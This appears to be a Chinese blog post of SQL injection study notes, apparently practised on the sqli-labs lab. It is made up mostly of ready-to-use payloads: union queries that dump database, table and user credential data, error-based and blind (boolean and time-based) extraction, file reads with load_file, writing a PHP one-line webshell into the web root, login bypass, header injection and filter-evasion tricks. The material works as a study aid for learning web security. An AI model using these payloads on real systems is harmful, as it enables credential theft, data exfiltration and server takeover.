owasp top10 之 sql注入

sql 注入:

联合查询注入

具体语句:

查库名:

select database();

猜字段数:

order by 3;

暴库

select group_concat(schema_name) from information_schema.schemata

爆表

select group_concat(table_name) from information_schema.tables where table_schema = database() %23

爆字段

select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users' %23

查具体数据:

select group_concat(usrename) from security.users %23

拼接具体数据:

select 1,concat_ws(':',username,password),3 from security.users %23

报错注入

通过报错信息传递参数

union select extractvalue(1,concat(0x7e,(select version()))) -- -

把version改成想要查的SQL语句即可

布尔盲注

substr(a,b,c)详解:substr函数的作用是分割字符串,a是被分割的字符串,b是起始的位置(从1开始),c是偏移量

猜解version()爆出来的第一个字符是不是'5'

' or (select substr(version(),1,1) = '5') -- -

猜解table_name第一个字符的ascii码

' or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) = 3 -- -

二分法猜解:

' or (select ascii(substr(table_name,1,1)) from information_shcema.tables where table_schema = database() limit 0,1 ) > 1 -- -

延时注入:

sleep(2)详解: 让服务器沉睡两秒

判断闭合:

id=1' or sleep(3) -- -

如果闭合,则服务器会延迟三秒后返回

if(a,b,c)详解:如果a为真,则执行b。如果a为假,则执行c。

测试手写语句

' or if(0,sleep(2),0) %23

这句话是测试if(a,b,c)好不好用

' or if((select 1 from information_schema.tables where table_schema = database() limit 0,1)>0,sleep(2),0) -- -

select 1是用于验证手写的语句是否写错,如果语句没问题就会执行后面的sleep(2)

编写恶意sql语句

确认语句没有问题,就把测试语句的1换成想要查询的字段

' or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)>0,sleep(2),0) -- -

这里换成 ascii(substr(table_name,1,1))查询table_name的第一个字符的ascii码

最后用类似布尔盲注的套路,继续猜解。

SQL注入读写文件:

sql注入读写文件一定要有权限才行。查看权限的命令:

show global variables like '%secure%'

 

secure_file_priv一定要是空的才行。

读文件

构造SQL语句去下载我们想要的文件

load_file("url")指的是下载文件,hex()是把结果转变成十六进制在转回来。

union select 1,2,hex(load_file("address")) -- -

address是将要读取的文件地址。必须得是绝对路径。

然后把返回hex在网页上转成字符。

写文件:

union select 1,2,"<?php phpinfo();?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\phpinfo.php" -- -

在网站目录下写入一句话木马。地址必须靠自己的经验去猜。

post注入

有个猜想:

某个网页的登录逻辑是:

$result = select 1 from b where username='' and password = '';

如果where后面的关系表达式是1,SQL语句就会返回1。

那么任务就是,让where后面的关系表达式,变成1.

比如单引号包裹,就:' or 1 -- -

http-referer请求注入:

一个http请求,含有一个Referer的项

Referer:http://www.baidu.com/

在后面加上单引号,即可像get型注入一样注入

包括agent,cookien,都可以执行http-referer注入

Sql注入读写文件:

读文件的要求:

必须有权限读取并且文件必须完全可读欲读取文件必须在服务器上

必须指定文件完整的路径

欲读取文件必须小于max_allowed_packet

获取绝对路径一般有两种方法:

1、通过经验获取一些默认的安装路径来猜测文件的位置

2、通过程序报错,把路径爆出来

union select 1,2,hex(load_file("D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\index")) -- -
#双反斜杠,因为会转义.
#hex是把它变成16进制,然后再转回来

为了判断写法有没有问题,我们可以查一些常见的东西,比如C://boot.ini

写文件:

union select 1,2,3 into outfile "C:\\ phpStudyB\\WWW\\sqli\\ Less-1\\a.txt" %23
#这个语句执行的结果,就是把当前查询的1,2,3写进去
union select 1,2,"<?php @eval$_POST [value]);?>" into outfile "C:\\ phpStudyB\\WWW\\sqli\\ Less-1\\a.php" %23
#向文件写入一句话木马,a.php本不存在

sql注入绕过篇:

1、绕过注释符过滤

#比如原语句:
select a from b where c = '?' limit 0,1;
​
#接下来我们构造成这样:
#1' or (1) or ' 
select a from b where id = '1' or (1) or ' ' limit 0,1
​
#此时括号内部就是一个表达式判断语句,可以在内用判断语句执行报错注入
#' or (extractvalue(1,concat(0x7e,version()))) or  ' 1
#甚至可以用联合查询注入,爆字符串

2、绕过 and or 过滤

方法有双写、大小写、符号替换(&& ||)

3、绕过空格过滤

3.1、其他符号代替空格

%09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return功能%0b TAB 键(垂直)%a0空格

3.2、用注释符 /**/ 代替空格 3.3、用括号代替空格

(sleep(ascii(mid(user()from(2)for(1)))=109))

4、绕过内联注入过滤

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值